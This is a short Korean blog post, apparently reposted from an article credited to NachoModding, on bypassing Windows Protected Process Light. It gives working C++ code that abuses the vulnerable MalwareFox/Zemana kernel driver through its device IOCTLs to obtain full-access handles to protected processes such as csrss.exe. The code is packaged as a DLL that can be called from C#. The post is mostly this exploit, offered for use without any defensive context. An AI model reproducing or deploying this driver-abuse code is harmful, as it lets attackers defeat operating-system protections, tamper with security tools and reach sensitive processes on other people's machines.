Windows PPL 우회

6525 단어
Windows PPL을 우회하여 완전히 제어할 수 있는 방법이 많이 있습니다(예: csrss.exe).

방법을 조금 알려드릴 수 있습니다.
예를 들어 취약한 드라이버가 많이 있습니다(Razer 및 Malware Fox).

MalwareFox 드라이버로 좋은 Turotial을 찾았습니다.
MalwareFox는 커널 드라이버를 사용하는 무료 바이러스 백신 프로그램입니다.

소스를 약간 다시 코딩했으며 이제 프로젝트를 DLL 파일로 내보내고 C# 프로젝트에서 메서드를 호출하여 전체 액세스 권한이 있는 핸들(예: csrss.exe)을 가져올 수 있습니다.


HANDLE MFAM_GH(DWORD pid) {
    HANDLE hDevice = CreateFile(L"\\\\.\\ZemanaAntiMalware", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hDevice == INVALID_HANDLE_VALUE)
        return (HANDLE)0x0;
    DWORD ourPID = GetCurrentProcessId();
    if (!DeviceIoControl(hDevice, 0x80002010, &ourPID, sizeof(DWORD), NULL, 0, NULL, NULL)) {
        CloseHandle(hDevice);
        return (HANDLE)0x0;
    }
    HANDLE hProcess = NULL;
    DeviceIoControl(hDevice, 0x8000204C, &pid, sizeof(DWORD), &hProcess, sizeof(HANDLE), NULL, NULL);
    CloseHandle(hDevice);
    return hProcess;
}

HANDLE handle_htest2;

//Gives the Handle to application
extern "C" __declspec(dllexport) void GiveH(int csiid, int prcid)
{
    HANDLE htest = OpenProcess(PROCESS_ALL_ACCESS, FALSE, csiid);
    DWORD pid = csiid;
    DWORD dere = prcid;
    HANDLE hProcess = MFAM_GH(pid);
    handle_htest2 = MFAM_GH(dere);
    return;
}

//Get Handle as variable
extern "C" __declspec(dllexport) HANDLE _handleGet(HANDLE handle_h)
{
    handle_h = handle_htest2;
    return handle_h;
}





Original Article by NachoModding

좋은 웹페이지 즐겨찾기